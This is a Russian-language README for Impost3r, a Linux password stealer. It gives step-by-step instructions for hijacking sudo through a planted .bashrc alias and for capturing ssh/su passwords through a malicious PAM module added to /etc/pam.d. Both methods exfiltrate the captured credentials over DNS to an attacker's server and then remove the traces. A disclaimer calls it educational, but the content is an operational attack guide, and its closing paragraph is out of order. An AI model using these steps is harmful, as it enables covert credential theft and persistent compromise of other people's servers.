
👻Impost3r -- Похититель паролей Linux

Impost3r — это инструмент, написанный на C, предназначенный для кражи различных паролей (ssh, su, sudo) в Linux.
Пользователи могут использовать эту программу для создания «водопоя» и кражи паролей легитимных пользователей.
Данный инструмент предназначен исключительно для исследований и обучения в области безопасности. Пользователь несёт всю ответственность за использование данного инструмента и все связанные с этим юридические последствия! Авторы не несут никакой юридической или иной ответственности!
Impost3r может использоваться для кражи паролей сервисов sudo, su и ssh. Эти три сервиса можно условно разделить на две категории: sudo и ssh/su. Рассмотрим два случая.
Для этого требуется только права обычного пользователя (не обязательно root), но можно украсть пароль только соответствующего пользователя, а не других.
Предположим, атакующий получил контроль над сервером с правами обычного пользователя.
Проверьте наличие файла .bash_profile в домашнем каталоге пользователя. Если .bash_profile существует: проверьте, загружается ли в нём .bashrc явно. Если загружается, пропустите этот и два следующих шага и переходите к дальнейшим действиям. Если не загружается, пропустите два следующих шага, и все дальнейшие операции с .bashrc должны быть заменены на операции с .bash_profile!!! Если .bash_profile отсутствует: переходите к следующему шагу.
Проверьте наличие файла .bash_login в домашнем каталоге пользователя. Если .bash_login существует: проверьте, загружается ли в нём .bashrc явно. Если загружается, пропустите этот и следующий шаг и переходите к дальнейшим действиям. Если не загружается, пропустите следующий шаг, и все дальнейшие операции с .bashrc должны быть заменены на операции с .bash_login!!! Если отсутствует: переходите к следующему шагу.
if [ -n "$BASH_VERSION" ]; then
# include .bashrc if it exists
if [ -f "$HOME/.bashrc" ]; then
. "$HOME/.bashrc"
fi
fi
Скопируйте оригинальный .bashrc пользователя: cp ~/.bashrc /tmp/ и поместите эту копию в произвольный путь, контролируемый атакующим (в примере — каталог /tmp/, атакующий может изменить).
Измените .bashrc в домашнем каталоге пользователя (~/.bashrc), добавив в конец следующую строку (значение /tmp/.impost3r должно совпадать с FILENAME ниже):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
После добавления сохраните файл и выполните source ~/.bashrc.
Затем атакующему необходимо изменить исходный код Impost3r в файле /sudo/main.h:
/*
Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\Установите расположение Impost3r на целевой машине
# define BACKUP_ORI_FILENAME ".bashrc" \\Укажите, резервная копия какого пользовательского конфигурационного файла была создана: .bashrc, .bash_profile, .profile или .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\Укажите расположение резервной копии пользовательского конфигурационного файла на целевой машине
# define SAVE_OR_SEND 0 \\Выберите: сохранить результат на целевой машине (1) или отправить на контролируемую атакующим машину (0). По умолчанию — отправка.
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Обратите внимание: если вы не хотите покупать домен для получения сообщений от Impost3r, и целевая машина не блокирует прямые UDP-соединения на 53-й порт вашего DNS-сервера, оставьте значение по умолчанию.
\\Если же целевая машина строго ограничивает исходящие DNS-запросы, замените YOUR_DOMAIN на купленный домен, например ".example.com", настройте его NS-запись на ваш DNS-сервер, запустите на нём Fdns, а ниже в REMOTE_ADDRESS укажите DNS-адрес целевой машины, а в REMOTE_PORT — порт её DNS-службы (в большинстве случаев 53).
# define MAX_RESEND 30 \\Максимальное количество повторных попыток отправки пароля атакующему после его кражи
# define RESEND_INTERVAL 5 \\Интервал между отправками пароля
# define REMOTE_ADDRESS "192.168.0.12" \\Удалённый адрес для отправки пароля
# define REMOTE_PORT 53 \\Удалённый порт для отправки пароля
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\Путь для сохранения файла с результатами (если SAVE_OR_SEND = 1)
После изменения сохраните файл и выполните make в текущем каталоге.
В текущем каталоге будет скомпилирован файл .impost3r.
Загрузите файл .impost3r в каталог /tmp/ целевой машины (это лишь пример; вы можете изменить путь, главное — чтобы он совпадал с определением в исходном коде).
На своём сервере запустите DNS-серверную программу и ожидайте ввода пароля легитимным пользователем при использовании sudo.
При краже пароля sudo Impost3r автоматически удаляет следы после успешного получения; атакующему не нужно вмешиваться вручную.
Impost3r автоматически проверяет, является ли введённый пароль правильным. Процесс завершается и следы удаляются только после ввода корректного пароля.
Перед использованием Impost3r убедитесь, что текущий пользователь входит в группу sudoer, выполнив sudo -v. Если нет, не используйте Impost3r.
Метод кражи паролей ssh/su отличается от кражи sudo. Для этого требуются права root. Можно украсть пароль любого пользователя.
Ниже приведён пример для Ubuntu; для CentOS аналогично, но используемые файлы и способы их изменения могут отличаться.
По-прежнему предположим, что атакующий получил контроль над сервером.
Получите права root (например, через повышение привилегий, или если администратор использует root для запуска служб).
Сначала отредактируйте исходный код Impost3r в файле /ssh_su/main.h:
/*
Custom setting
*/
# define SSH_OR_BOTH 0 \\Режим кражи: 0 — только ssh, 1 — ssh и su. По умолчанию 0 (различие будет объяснено позже)
# define SAVE_OR_SEND 0 \\Выберите: сохранить (1) или отправить (0). По умолчанию — отправка.
/*
Send to server
*/
# define YOUR_DOMAIN ".com" \\Аналогично предыдущему
# define MAX_RESEND 30 \\Максимальное количество повторных отправок (действителен только если SSH_OR_BOTH = 0)
# define RESEND_INTERVAL 5 \\Интервал между отправками (действителен только если SSH_OR_BOTH = 0)
# define REMOTE_ADDRESS "192.168.0.12" \\Удалённый адрес для отправки
# define REMOTE_PORT 53 \\Удалённый порт
/*
Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\Путь для сохранения (если SAVE_OR_SEND = 1)
После изменений сохраните файл и выполните make в текущем каталоге.
Получите скомпилированный файл impost3r.so.
Загрузите impost3r.so в каталог /lib/x86_64-linux-gnu/security целевой машины (на разных машинах каталог может отличаться; разместите в соответствии с архитектурой).
Перейдите в /etc/pam.d. Далее возможны два варианта. Если выбран режим кражи только ssh-пароля, выполните vi sshd и добавьте в конец файла следующие строки (обратите внимание: в других дистрибутивах Linux этот файл может сильно отличаться от Ubuntu; рекомендуется сначала изучить правила и затем добавить в подходящее место):
auth optional impost3r.so
account optional impost3r.so
Сохраните и выйдите, затем перезапустите службу sshd: service sshd restart.
Если выбран режим кражи как ssh, так и su, выполните vi common-auth, добавьте те же строки, сохраните, выйдите и перезапустите sshd.
На своём сервере запустите DNS-серверную программу и ожидайте, пока легитимный пользователь войдёт на целевую машину через ssh или переключит пользователя через su, после чего пароль будет перехвачен.
При краже пароля ssh/su Impost3r не может удалить следы из-за ограничений прав; атакующему необходимо сделать это вручную.
Обратите внимание: если установлен режим кражи только ssh-пароля, можно с высокой вероятностью гарантировать получение результата. Если же установлен режим кражи обоих паролей, то стопроцентное получение результата не гарантируется (только при отправке через DNS; при локальном сохранении проблем нет).
Не рекомендуется красть пароль su; так как пароль ssh и su у пользователя одинаковы, лучше ограничиться кражей ssh-пароля, если нет необходимости в su.
Пустые пароли по умолчанию не перехватываются. Проверьте, не настроены ли на целевой машине пустые пароли (наличие PermitEmptyPasswords yes в конфигурации sshd). Если пароль пустой, то и красть нечего.
В качестве DNS-сервера используется Fdns с некоторыми изменениями. Исходный код с изменениями можно найти в папке Fdns; скомпилируйте его командой gcc -o dns main.c util.c (не забудьте изменить порт прослушивания в main.c).
Перед компиляцией Fdns проверьте значение YOUR_DOMAIN в util.h; оно должно совпадать с значением, использованным при компиляции Impost3r на целевой машине, иначе кража может не сработать.
Данная программа разрабатывалась в свободное время для обучения; возможны ошибки. Заранее прошу прощения и приветствую сообщения об ошибках.
.bash_loginПроверьте наличие файла .profile в домашнем каталоге пользователя. Если .profile существует: проверьте, загружается ли в нём .bashrc явно (по умолчанию загружается). Если загружается, пропустите этот шаг и переходите к дальнейшим действиям. Если не загружается, то все дальнейшие операции с .bashrc должны быть заменены на операции с .profile!!! Если .profile также отсутствует, то в принципе Impost3r не может быть использован, хотя вы можете принять решение самостоятельно: создать файл .bash_profile или .profile и записать в него код загрузки .bashrc, например: